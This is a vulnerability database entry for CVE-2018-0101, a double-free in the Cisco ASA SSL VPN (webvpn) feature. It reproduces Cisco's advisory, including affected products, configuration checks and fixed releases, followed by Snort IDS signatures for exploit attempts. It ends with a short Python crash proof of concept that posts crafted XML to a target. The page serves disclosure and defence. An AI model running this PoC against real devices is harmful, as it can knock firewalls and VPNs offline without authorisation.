Lucene search

K
seebugRootSSV:97119
HistoryJan 31, 2018 - 12:00 a.m.

Cisco Adaptive Security Appliance Remote Code Execution and Denial of Service Vulnerability

2018-01-3100:00:00
Root
www.seebug.org
80

0.958 High

EPSS

Percentile

99.3%

Summary

A vulnerability in the Secure Sockets Layer (SSL) VPN functionality of the Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated, remote attacker to cause a reload of the affected system or to remotely execute code.

The vulnerability is due to an attempt to double free a region of memory when the webvpn feature is enabled on the Cisco ASA device. An attacker could exploit this vulnerability by sending multiple, crafted XML packets to a webvpn-configured interface on the affected system. An exploit could allow the attacker to execute arbitrary code and obtain full control of the system, or cause a reload of the affected device.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

This advisory is available at the following link:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180129-asa1

Affected Products

Vulnerable Products

This vulnerability affects Cisco ASA Software that is running on the following Cisco products:

  • 3000 Series Industrial Security Appliance (ISA)
  • ASA 5500 Series Adaptive Security Appliances
  • ASA 5500-X Series Next-Generation Firewalls
  • ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
  • ASA 1000V Cloud Firewall
  • Adaptive Security Virtual Appliance (ASAv)
  • Firepower 2100 Series Security Appliance
  • Firepower 4110 Security Appliance
  • Firepower 9300 ASA Security Module
  • Firepower Threat Defense Software (FTD)

ASA Software

This vulnerability affects devices that are running a vulnerable release of Cisco ASA Software where the webvpn feature is enabled. In addition to webvpn being globally configured there must be one enabled interface via the enable <if_name> in the configuration. To determine whether webvpn is enabled for at least one interface, administrators can use the show running-config webvpn command at the CLI and verify that the command returns at least one enable <if_name> line.

The following example shows the output of the command for a device that is running Cisco ASA Software and has WebVPN enabled on the Outside interface.

ciscoasa# show running-config webvpn
webvpn
 enable Outside

The customer can also use the show asp table socket command and look for an SSL and a DTLS listen socket on TCP port 443. An SSL and DTLS listen socket on TCP port 443 must be present in order for the vulnerability to be exploited. The following example shows the output of the command for a device that has SSL and DTLS listen sockets on TCP port 443:

ciscoasa# show asp table socket
Protocol  Socket    State      Local Address       Foreign Address
SSL       00005898  LISTEN     10.48.66.202:8443    0.0.0.0:*
TCP       00009718  LISTEN     10.48.66.202:23      0.0.0.0:*
TCP       0000e708  LISTEN     10.48.66.202:22      0.0.0.0:*
SSL       00011cc8  LISTEN     10.48.66.202:443     0.0.0.0:*
DTLS      000172f8  LISTEN     10.48.66.202:443     0.0.0.0:*

Determining the ASA Running Software Release

To determine whether a vulnerable version of Cisco ASA Software is running on a device, administrators can use the show version command in the CLI. The following example shows the output of the command for a device that is running Cisco ASA Software Release 9.2(1):

ciscoasa# show version | include Version
Cisco Adaptive Security Appliance Software Version 9.2(1) 
Device Manager Version 7.4(1)

Customers who use Cisco Adaptive Security Device Manager (ASDM) to manage devices can locate the software release in the table that appears in the login window or the upper-left corner of the Cisco ASDM window.

FTD Software

This vulnerability applies to the FTD 6.2.2 software release, which was the first to support the Remote Access VPN feature. This release contains both Firepower and ASA code. Review Firepower Threat Defense Devices in the Cisco Firepower Compatibility Guide for additional information.

Determining the Running FTD Software Release

Administrators can use the show version command at the CLI to determine the FTD release. In this example, the device is running software release 6.2.2.

&gt; show version
---------------------[ ftd ]---------------------
Model : Cisco ASA5525-X Threat Defense (75) Version 6.2.2 (Build 362)
UUID : 2849ba3c-ecb8-11e6-98ca-b9fc2975893c
Rules update version : 2017-03-15-001-vrt
VDB version : 279
----------------------------------------------------

Products Confirmed Not Vulnerable

No other Cisco products are currently known to be affected by this vulnerability.

Workarounds

There are no workarounds that address this vulnerability.

Fixed Software

Cisco has released free software updates that address the vulnerability described in this advisory. Customers may only install and expect support for software versions and feature sets for which they have purchased a license. By installing, downloading, accessing, or otherwise using such software upgrades, customers agree to follow the terms of the Cisco software license: http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html

Additionally, customers may only download software for which they have a valid license, procured from Cisco directly, or through a Cisco authorized reseller or partner. In most cases this will be a maintenance upgrade to software that was previously purchased. Free security software updates do not entitle customers to a new software license, additional software feature sets, or major revision upgrades.

When considering software upgrades, customers are advised to regularly consult the advisories for Cisco products, which are available from the Cisco Security Advisories and Alerts page, to determine exposure and a complete upgrade solution.

In all cases, customers should ensure that the devices to upgrade contain sufficient memory and confirm that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, customers are advised to contact the Cisco Technical Assistance Center (TAC) or their contracted maintenance providers.

Customers Without Service Contracts

Customers who purchase directly from Cisco but do not hold a Cisco service contract and customers who make purchases through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should obtain upgrades by contacting the Cisco TAC: http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html

Customers should have the product serial number available and be prepared to provide the URL of this advisory as evidence of entitlement to a free upgrade.

Fixed Releases

In the following tables, the left column lists major releases of Cisco ASA Software. The right column indicates whether a major release is affected by the vulnerability described in this advisory and the first release that includes the fix for this vulnerability. Customers should upgrade to an appropriate release as indicated in this section.

ASA Software releases prior to 9.1, including all 8.x releases, and ASA releases 9.3 and 9.5 have reached End of Software Maintenance. Customers should migrate to a supported release.

FTD Software

In the following table, the left column lists major releases of Cisco FTD Software. The right column indicates whether a major release is affected by the vulnerability described in this advisory and the first release that includes the fix for this vulnerability. Customers should upgrade to an appropriate release as indicated in this section.

The Remote Access VPN feature was not supported on FTD until 6.2.2.
Exploitation and Public Announcements
The Cisco Product Security Incident Response Team (PSIRT) is aware of public knowledge of the vulnerability that is described in this advisory. Cisco PSIRT is not aware of any malicious use of the vulnerability described in this advisory.

Source

Cisco would like to thank Cedric Halbronn from the NCC Group for finding and reporting this vulnerability.

IDS Signatures

# IDS signatures for https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180129-asa1:
alert udp any any -&gt; any 500 (msg:"FOX-SRT - Suspicious - Possible Fragmented Cisco IKE/isakmp Packet HeapSpray (CVE-2018-0101)"; flow:to_server; content:"|84|"; offset:16; depth:1; content:"|02 08 |"; distance:1; within:2; fast_pattern; byte_test:4,&gt;,5000,4,relative; byte_test:2,&gt;,5000,10,relative; byte_extract:4,36,fragment_match; byte_test:4,=,fragment_match,52,relative; byte_test:4,=,fragment_match,136,relative; byte_test:4,=,fragment_match,236,relative; threshold:type limit, track by_dst, count 1, seconds 600;  classtype:attempted-admin; sid:21002339; rev:4;)
alert udp any any -&gt; any 500 (msg:"FOX-SRT - Exploit - Possible Shellcode in Cisco IKE/isakmp - tcp/CONNECT/"; content:"tcp/CONNECT/"; fast_pattern:only; threshold:type limit, track by_src, count 1, seconds 600; priority:1; classtype:attempted-admin; sid:21002340; rev:2;)

                                                #
# Cisco ASA CVE-2018-0101 Crash PoC
#
# We basically just read @saidelike slides:
# https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf
#
# @zerosum0x0, @jennamagius, @aleph___naught
#
 
import requests, sys
 
headers = {}
headers['User-Agent'] = 'Open AnyConnect VPN Agent v7.08-265-gae481214-dirty'
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['X-Aggregate-Auth'] = '1'
headers['X-Transcend-Version'] = '1'
headers['Accept-Encoding'] = 'identity'
headers['Accept'] = '*/*'
headers['X-AnyConnect-Platform'] = 'linux-64'
headers['X-Support-HTTP-Auth'] = 'false'
headers['X-Pad'] = '0000000000000000000000000000000000000000'
 
xml = """<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
   <host-scan-reply>A</host-scan-reply>
</config-auth>
"""
 
r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False, allow_redirects=False)
 
print(r.status_code)
print(r.headers)
print(r.text)